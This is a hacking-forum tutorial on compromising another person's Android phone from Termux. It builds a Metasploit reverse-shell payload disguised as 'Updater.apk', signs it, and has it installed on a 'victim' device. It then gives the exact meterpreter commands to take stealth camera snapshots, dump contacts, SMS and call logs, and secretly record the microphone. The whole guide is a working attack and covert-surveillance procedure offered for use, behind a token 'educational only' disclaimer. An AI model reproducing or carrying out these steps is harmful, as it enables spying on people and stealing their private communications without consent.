How to: HACK Android Device with TermuX on Android | Part #2 - Over WLAN Hotspot [Ultimate Guide]

Sep 28, 2018 12:16 PM
Mar 8, 2019 04:22 AM
636735952350450090.jpg
636722928305584750.jpg

Hi My Fellow H4ck3Rs

  • Wanna do some WATCH_DOGS style H4cK1nG...!!! (Over your WLAN Hotspot), then you are at right place! , but this time, we are not HACKING over the World Wide Internet. But we are going to do HACKING over WLAN Network.
  • You can say it as: "Android to Android Hacking". This method works 100%, so follow my tutorial carefully, it is really very easy to follow. If you got any errors or you think I`ve missed something, then inform me in Comments section. I`ll try best to solve the problem.
  • One Restriction: Metasploit Does not work over Long ranges (Only for WLAN Hotspot), For-Example, if the distance of your victim`s Android Device (whose wifi is connected to your WLAN Hotspot) is more than 10m from yours , then you will not be able to HACK that Device! To avoid this situation, use my Part #1 Tutorial, because it is very reliable.
  • DISCLAIMER: This Thread is O.N.L.Y for Education Purposes. I will not be Responsible of Any Negative and Illegal use of this information. Try not to HACK the Androids, other than your`s. Or you will be in PRISON. Only Use this information for testing purposes or impressing your friends.

So, lets get started...

Requirements

1). Android 5.0 (Or later)

2). TermuX Android App (Download it from Play Store

3). Installed Metasploit Framework in TermuX (My Tutorial Here)

4). Active WLAN Hotspot

5). TermuX should be allowed to use External Storage (For this only enter this command at once: "termux-setup-storage")

6). MiXplorer (For signing APK file, Download it from UpToDown Website)

7). MiX Signer (APK Signer for MiXplorer, Download it from Play Store)

8). (Recommended) Use Hacker`s Keyboard for entering commands in TermuX easily.

Step 1: Which IP Should Be Used...!?

  • First of all, turn on your WiFi Hotspot (WLAN Hotspot).
  • Connect you Victim`s Android Device to it.
  • Now, you have to open TermuX and note down your IP (as a Server). For this, open TermuX, and Enter:

ifconfig

  • Now, here you can see your Permanent Hotspot IP address (as a Server), under ap0 field, Like this (Here my Permanent IP as a Server is 192.168.43.1):
636737074229356870.jpg
  • Note Down your Permanent Hotspot IP address, for later use.

Step 2: Creating APK File with Embedded Payload

  • To create APK File with Embedded Payload, enter this command in TermuX:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.1 LPORT=4444 R

> storage/downloads/Updater.apk

636737074840606903.jpg
  • Wait for a minute...
636737075206543917.jpg
  • Alright... Now the APK file with Embedded payload is successfully generated here: Phone/SD-Card Storage -> downloads -> Updater.apk
  • (OPTIONAL) You can use APK Editor Pro , to change the name (Default: MainActivity), and Version of the generated APK file.

Step 3: Signing Newly Generated APK File

To sign the newly generated APK File,

  • Open MiXplorer File Manager and head to "Un-Signed APK File (Updater.apk)" (will be located in downloads folder).
636722931606678568.jpg
  • Long Press on "Un-Signed APK File (Updater.apk)" and select "MENU button" on top right corner of MiXplorer, then select "SIGN".
636722932521210535.jpg
  • It will display variety of options to sign APK File (but "AUTO" is preferred).
  • Select "AUTO" to Automatically & Successfully sign the APK file.
636722932928709625.jpg
  • Now, your APK file: (filename)-signed.apk is successfully signed and fully functional also is of 9.9KB of size.
636722933288709650.jpg

Step 4: Setup Metasploit in TermuX

  • Activate Metasploit Framework in TermuX by entering this command in new session:

msfconsole

636737075792795150.jpg

Note(1):- If you have not installed Metasploit-Framework in your TermuX app yet, then follow This Tutorial: Install Metasploit Framework in TermuX on Android | H4ck3R_777

Note(2):- If you are getting this error: Failed to connect to the database , as shown in the above screenshot, enter the following commands in NEW SESSION (Unfortunately You may have to enter these commands every time you open TermuX (in a separate session). But fortunately entering no such (following) commands, will not affect your Hacking! That`s why, I`m ignoring this error) :

mkdir -p $PREFIX/var/lib/postgresql

initdb $PREFIX/var/lib/postgresql

pg_ctl -D $PREFIX/var/lib/postgresql start

— Thanks to DUST WORLD, for this fix ...!!!
  • Wait for a min...
636737076137169078.jpg
  • Now, When the msfconsole starts, type the following (Bolded) commands one by one carefully:

msf> use exploit/multi/handler

msf> set payload android/meterpreter/reverse_tcp

msf> set LHOST 192.168.43.1

msf> set LPORT 4444

msf> exploit -j -z

— Enter only BOLDED commands
636737076649356845.jpg

Step 5: Installing APK in Victim's Android Device

  • Now, Send the Updater-Signed.apk file into your victim`s android device (e.g. via Bluetooth is Recommended) -> Install it -> then open it (Make sure that the Victim`s device has a successful WiFi connection with your WLAN Hotspot).
  • After opening APK file in victim`s phone, you will see that Meterpreter Session in your Metasploit field will be activated.
636737078006856049.jpg
  • To open the Meterpreter session of your victim`s device, click "Return Button" (if required) and enter this Command in Metasploit session:

sessions -i (Session ID)

— (Session ID) = 1 , 2 , 3 , 4 or 5 ...
  • In (Session ID) , select the session number of Meterpreter (i.e. You will see this message when your victim opens the APK file: Meterpreter Session Opened 1 , here , 1 is the session id of Meterpreter Session). Watch the screenshot below.
  • If you see the following window, then
636737078634044337.jpg
  • BINGO.......!!!!!!!! You have successfully hacked your Victim`s Android Device

!!!...Need Some Help While Hacking...???

You can enter: {meterpreter> help} command, for all the available commands, here, I`ve simplified some commands for the use of TermuX.

636737079251544106.jpg
  • Taking Stealth Snapshot from Front Camera

Just enter this command for this:

webcam_snap -i 2 -p storage/downloads/X-Stealth-Snapshot-F.jpg

Here, in this command, 2 is representing the front camera. For Back camera, we will use 1.

Your Stealth Snapshot can be found here: (Default Write Storage) -> downloads -> X-Stealth-Snapshot-F.jpg

  • Taking Stealth Snapshot from Rear Camera

Just as the above, but this time, we will use 1,

webcam_snap -i 1 -p storage/downloads/X-Stealth-Snapshot-R.jpg

Your Stealth Snapshot can be found here: (Default Write Storage) -> downloads -> X-Stealth-Snapshot-R.jpg

  • Fetching All Contacts

To fetch contacts, just enter this command:

dump_contacts -o storage/downloads/X-Contacts.txt

Conacts will be saved in : (Default Write Storage) -> downloads -> X-Contacts.txt

  • Fetching All SMS

Just like above,

dump_sms -o storage/downloads/X-SMS.txt

All the SMS will be saved in : (Default Write Storage) -> downloads -> X-SMS.txt

  • Fetching Call Log

Just enter this:

dump_calllog -o storage/downloads/X-CallLog.txt

Call Log will be saved in : (Default Write Storage) -> downloads -> X-CallLog.txt

  • Spying Through Microphone

Here, you have to edit the duration of the recording microphone (default: 1s). Command for 10 seconds recording is this:

record_mic -d 10 -f storage/downloads/X-Spy-Record.mp3

Spy Recording will be saved in : (Default Write Storage) -> downloads -> X-Spy-Record.mp3

  • Exiting Meterpreter Session

Just enter exit to close current Meterpreter Session. Enter again to exit Metasploit.

636737080469043947.jpg

???...Common Problems...???

  • Metasploit not running on TermuX

This might happen, if you do anything wrong in installing TermuX on android. If you see error like GEMS not found, or any this kind of error, simply Delete TermuX with its data, and reinstall it.

  • msfvenom/msfconsole : command not found!

There are two possible reasons for that error.

1). Metasploit is not properly installed on TermuX. That`s why, it was unable to create Command Shortcut. To fix this, uninstall the TermuX, with Data. Then reinstall TermuX and repeat all the Method again. This is actually a script error. I also faced this problem on first time installing Metasploit in TermuX!

2). Metasploit is successfully installed, but was unable to create the shortcut. To manage this, just enter:

cd metasploit-framework

then, enter msfvenom command with ./ at start. i.e

./msfvenom -p ......

  • Why we are using MiXplorer for Signing the APK File ...?

Actually, there is no other way to sign theAPK file on Android. Otherwise, You have to sign the APP file in Your PC (Specially in Kali LinuX). MiXplorer is the Excellent way to sign the APK file, directly in Android.

  • Metasploit Error: Failed to connect to the Database
636737075792795150.jpg

Don`t worry about it. We have already made a solution for this :) . I think you have noticed earlier , that I was using "localhost" , instead of 127.0.0.1 or :::0:1 , as HOST. Actually, the "localhost" command automatically connects you to the available Local Host, no matter if it is 127.0.0.1 or :::0.1 etc.

But if you still want to fix it, enter the following commands in New Session of TermuX carefully:

mkdir -p $PREFIX/var/lib/postgresql

initdb $PREFIX/var/lib/postgresql

pg_ctl -D $PREFIX/var/lib/postgresql start

— Thanks to DUSTY WORLD , for this FIX ...!!!
  • Which Android Phone is best for H4ck1nG Purposes ...?

1). Google NexuS phones/Tablets are Excellent for Hack1nG Purposes. As, they completely supports Kali NetHunter. NetHunter includes all the tools for hacking, and it works as an Android/Windows on a Tablet.

2). But if we talk about Android, Many H4ck3Rs say that Samsung Galaxy S5 is Excellent for Ha4ck1nG Purposes. It has a good Android Version, also completely supports the TermuX.

Note:-

This information is for Educational Purposes Only. I`ll not be responsible of any Negative or Illegal use of this information. Also if you face any type of errors, or you think that I`ve missed something, then tell me in Comments Section. I`ll find the Suitable Solution for that. Anyways, Just use these tricks for FUN... Not for doing Illegal work. We are all Ethical H4ck3Rs, and never invade people Privacies.

Anyway, Thanks for reading my Thread (You can also join our WhatsApp Group for more information and Guides). BEST OF LUCK ...!!!

636737071635919187.jpg
  • H4ck3R_777

Comments

No Comments Exist

Be the first, drop a comment!